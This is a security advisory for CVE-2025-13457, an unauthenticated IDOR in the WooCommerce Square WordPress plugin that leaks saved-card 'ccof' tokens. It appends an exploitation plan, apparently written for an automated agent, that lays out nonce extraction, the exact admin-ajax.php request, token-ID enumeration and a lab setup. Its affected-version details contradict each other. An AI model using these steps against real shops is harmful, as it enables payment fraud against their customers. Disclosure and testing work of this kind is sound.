WooCommerce Square <= 5.1.1 - Unauthenticated Insecure Direct Object Reference to Sensitive Information Exposure in get_token_by_id
Description
The WooCommerce Square plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.1.1 via the get_token_by_id function due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to expose arbitrary Square "ccof" (credit card on file) values and leverage this value to potentially make fraudulent charges on the target site.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
>=4.2.0 <4.2.3What Changed in the Fix
Changes introduced in v4.2.3
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-13457 ## 1. Vulnerability Summary The WooCommerce Square plugin (versions <= 5.1.1) is vulnerable to an **Insecure Direct Object Reference (IDOR)** in the `get_token_by_id` function within the `WooCommerce\Square\Gateway` class. The function is exposed via bo…
Show full research plan
Exploitation Research Plan - CVE-2025-13457
1. Vulnerability Summary
The WooCommerce Square plugin (versions <= 5.1.1) is vulnerable to an Insecure Direct Object Reference (IDOR) in the get_token_by_id function within the WooCommerce\Square\Gateway class. The function is exposed via both authenticated and unauthenticated WordPress AJAX actions. While it performs a nonce check, it fails to verify if the requesting user has the authority to access the payment token associated with the provided token_id. This allows an unauthenticated attacker to retrieve sensitive Square "ccof" (credit card on file) tokens for any user by enumerating token IDs.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
wc_square_get_token_by_id(Registered aswp_ajax_nopriv_wc_square_get_token_by_idinincludes/Gateway.php) - HTTP Method: GET
- Vulnerable Parameter:
token_id - Authentication: None required (unauthenticated).
- Preconditions:
- WooCommerce and WooCommerce Square must be active.
- At least one valid Square payment token must exist in the database (stored in
wp_woocommerce_payment_tokens). - A valid WordPress nonce for the action
payment_token_noncemust be obtained.
3. Code Flow
- Entry Point: An AJAX request is sent to
admin-ajax.phpwithaction=wc_square_get_token_by_id. - Hook Registration: In
includes/Gateway.php, the__constructmethod registers:
(Note:add_action( 'wp_ajax_wc_' . $this->get_id() . '_get_token_by_id', array( $this, 'get_token_by_id' ) ); add_action( 'wp_ajax_nopriv_wc_' . $this->get_id() . '_get_token_by_id', array( $this, 'get_token_by_id' ) );$this->get_id()returnssquare). - Vulnerable Function:
get_token_by_id()is called. - Nonce Verification: It retrieves the nonce from
$_GET['nonce']and verifies it against'payment_token_nonce':if ( ! wp_verify_nonce( $nonce, 'payment_token_nonce' ) ) { wp_send_json_error( ... ); } - Insecure IDOR: It retrieves
token_idvia$_GET['token_id']and calls\WC_Payment_Tokens::get( $token_id ).$token_id = isset( $_GET['token_id'] ) ? absint( wp_unslash( $_GET['token_id'] ) ) : false; $token_obj = \WC_Payment_Tokens::get( $token_id ); - Information Exposure: Without checking the
user_idassociated with the$token_obj, it returns the actual Square token string:wp_send_json_success( $token_obj->get_token() );
4. Nonce Acquisition Strategy
The payment_token_nonce is typically localized for the frontend to facilitate AJAX calls for managing saved cards. In WooCommerce Square, this is often localized for the checkout page or the "My Account" payment methods section.
Strategy:
- Identify Localization: Search for
payment_token_noncein the plugin's frontend scripts. It is likely localized viawp_localize_scriptunder a variable likewc_square_paramsorwc_square_payment_form_params. - Create Trigger Page: If not visible on the homepage, the checkout page is the most reliable source for unauthenticated users.
- Execution:
- Navigate to the Checkout page (
/checkout/). - Use
browser_evalto extract the nonce:// Hypothetical variable name based on plugin patterns window.wc_square_params?.payment_token_nonce || window.wc_square_payment_form_params?.payment_token_nonce - If the scripts only load when the Square gateway is selected, the agent should interact with the payment method radio buttons first.
- Navigate to the Checkout page (
5. Exploitation Strategy
- Preparation: Identify a target
token_id. Since these are autoincrement integers, the agent can start from1or use a likely range. - HTTP Request:
- Tool:
http_request - URL:
http://TARGET/wp-admin/admin-ajax.php?action=wc_square_get_token_by_id&nonce=[NONCE]&token_id=[ID] - Method: GET
- Tool:
- Payload:
action:wc_square_get_token_by_idnonce: The extractedpayment_token_nonce.token_id: The ID of the token to steal.
- Success Condition: A JSON response with
success: truecontaining a string starting withccof:(Square Credit Card On File format).
6. Test Data Setup
To verify the IDOR, we need a token belonging to a different user (e.g., an Admin or a dummy Customer).
- Create Customer:
wp user create victim victim@example.com --role=customer - Create Payment Token: Use WP-CLI to manually insert a Square token for the victim:
wp eval ' $token = new WC_Payment_Token_CC(); $token->set_token("ccof:target_secret_token_123"); $token->set_gateway_id("square"); $token->set_card_type("visa"); $token->set_last4("1234"); $token->set_expiry_month("12"); $token->set_expiry_year("2030"); $token->set_user_id([VICTIM_ID]); $token->save(); echo "TOKEN_ID:" . $token->get_id(); ' - Enable Gateway: Ensure Square is enabled in WooCommerce settings.
7. Expected Results
- Request:
GET /wp-admin/admin-ajax.php?action=wc_square_get_token_by_id&nonce=a1b2c3d4e5&token_id=[VICTIM_TOKEN_ID] - Response:
{ "success": true, "data": "ccof:target_secret_token_123" } - The unauthenticated requester successfully receives the private "ccof" token belonging to the victim.
8. Verification Steps
- Check the database via WP-CLI to confirm the token value matches the exposed data:
wp db query "SELECT token FROM wp_woocommerce_payment_tokens WHERE id = [VICTIM_TOKEN_ID]" - Verify the response from the AJAX call matches the
tokenfield from the database query.
9. Alternative Approaches
- Brute Force/Enumeration: If the specific
token_idis unknown, loop through IDs1-100via a sequence ofhttp_requestcalls. - Check Other Pages: If the checkout page requires items in the cart to load the Square scripts, use the
http_requesttool to add a product to the cart first:POST /?add-to-cart=[PRODUCT_ID]- Then visit
/checkout/to extract the nonce.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.